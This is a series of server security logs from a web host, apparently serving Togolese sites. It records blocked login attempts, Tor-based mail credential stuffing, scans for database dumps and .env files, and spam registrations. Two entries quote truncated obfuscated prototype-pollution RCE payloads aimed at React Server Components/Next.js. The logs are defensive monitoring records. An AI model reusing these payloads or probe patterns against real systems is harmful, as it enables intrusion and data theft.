199.120.15.134 - - [13/Jun/2026:03:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907028&pdata=https%253A%252F%252Fwww.arse.tg%252Fwp-content%252Fuploads%252F2024%252F07%252FArrete_034_Modalites-et-Conditions_Autoproduction-1.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320874 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/wp-content/uploads/2024/07/Arrete_034_Modalites-et-Conditions_Autoproduction-1.pdf" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.15.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-13 03:20:58 +0000] info [cpaneld] 34.27.42.6 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dataset.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/sqldump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/upload.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/cdn.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dev.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:28:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973803&pdata=https%253A%252F%252Flaunetogo.tg%252F%2525f0%25259f%25259f%2525a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781321287 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/%f0%9f%9f%a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/qa.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/nextjs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.83.195
country_id: 2635167
domain: vo2.mairie.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:fknmkmrv||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dotnet.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:31:56 +0000] info [cpaneld] 45.74.22.41 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 148.113.166.150
country_id: 6251999
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/prestashop.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/drupal.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/kirby.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pip.sql||User:antasadmin||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 83.142.52.29
country_id: 294640
domain: www.v2.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.v2.arse.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pipeline.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/docker-compose.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/logs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/users.sql||User:antasadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.199.119.136
country_id: 6252001
description:
Jun 13 03:38:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.199.119.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/migrations.sql||User:antasadmin||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066023&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322049 HTTP/1.1" 404 561 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/certificates.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:41:10 +0000] info [cpaneld] 45.74.22.41 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134998&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322064 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986901&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322054 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/site_backup.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184560&pdata=https%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322101 HTTP/2.0" 302 0 alerte.tg "https://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/restore.sql||User:antasadmin||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 45.3.36.169
country_id: 6252001
domain: auditeccandco.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; JSN-L21 Build/HONORJSN-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.73 Mobile Safari/537.36  trill_2022307030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/23.7.3 ByteLocale/pl-PL ByteFullLocale/pl-PL Region/GB BytedanceWebview/d8a21c6||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 03:48:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [13/Jun/2026:03:51:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003618&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322667 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.87.42
country_id: 3865483
description:
Jun 13 03:57:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.87.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 13 03:58:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.40.121.168
country_id: 1861060
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:195.40.121.168||TA:195.40.121.168||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.206.48
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.245.206.48||TA:151.245.206.48||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 03:59:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.23
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:204.217.245.23||TA:204.217.245.23||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.103.99
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.103.99||TA:152.232.103.99||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.139.108
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:172.121.139.108||TA:172.121.139.108||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:04:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.198.173.145
country_id: 1819730
description:
Jun 13 04:13:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.198.173.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.152.237.47
country_id: 1814991
description:
2026-06-13 04:18:58 dovecot_plain authenticator failed for H=(jxrezrtbgoe7o2yklb97lnj) [123.152.237.47]:17300: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:20:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.marketplace.netmaster.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.39
country_id: 2921044
description:
Jun 13 04:20:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.39
country_id: 2921044
description:
2026-06-13 04:20:35 dovecot_plain authenticator failed for H=tor-exit-39.for-privacy.net (DESKTOP-53E0LT9) [185.220.101.39]:6407: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.249
country_id: 2921044
description:
Jun 13 04:23:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.249
country_id: 2921044
description:
2026-06-13 04:23:40 dovecot_plain authenticator failed for H=tor-exit-10.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.249]:43020: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.132
country_id: 2661886
description:
Jun 13 04:24:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.132
country_id: 2661886
description:
2026-06-13 04:24:05 dovecot_plain authenticator failed for H=tor-exit-read-me.dfri.se (DESKTOP-53E0LT9) [171.25.193.132]:38594: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.8
country_id: 3175395
description:
Jun 13 04:24:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"x_df6882f1\":null,\"ns_cb56b85d\":0.0,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"$09eae2db\":null,\"ns_492a837b\":\"5713\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var agcxu=arguments['\\\\x31'];var qvgo=agcxu;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 04:25:20 +0000] info [cpaneld] 45.61.130.187 - administration "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user administration (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.218.116.220
country_id: 1819730
description:
Jun 13 04:25:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.218.116.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.218.116.220
country_id: 1819730
description:
2026-06-13 04:25:50 dovecot_login authenticator failed for H=(8.218.116.220) [8.218.116.220]:59463: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.110.75.44
country_id: 102358
description:
5.110.75.44 - - [13/Jun/2026:04:27:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989223&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781324844 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.6100.1990 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.110.75.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.246
country_id: 2921044
description:
Jun 13 04:28:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.246
country_id: 2921044
description:
2026-06-13 04:28:59 dovecot_plain authenticator failed for H=tor-exit-7.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.246]:52630: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.149
country_id: 2921044
description:
Jun 13 04:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.149
country_id: 2921044
description:
2026-06-13 04:29:27 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [185.220.101.149]:34285: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Nicholascis||Email:p.r.i.es.tch.ub.bs.33.9@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-29.89.124.94.93||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:29:28 +0000] info [cpaneld] 36.70.11.90 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"x_6b1dcb99\":\"e5a2062be6757bc8\",\"_response\":{\"_prefix\":\"var phuwx=[].slice.call(arguments,1)[0];var anm=phuwx;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 85.254.137.173
country_id: 6251999
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-31.85.254.137.173||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999714&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325119 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 04:32:06 +0000] info [cpaneld] 105.155.55.78 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:04:31:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012311&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325089 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:04:31:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921330&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325101 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 13 04:32:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973290&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325139 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 04:33:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 04:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 152.42.228.153
country_id: 1880251
domain: 154.70.82.244
description:
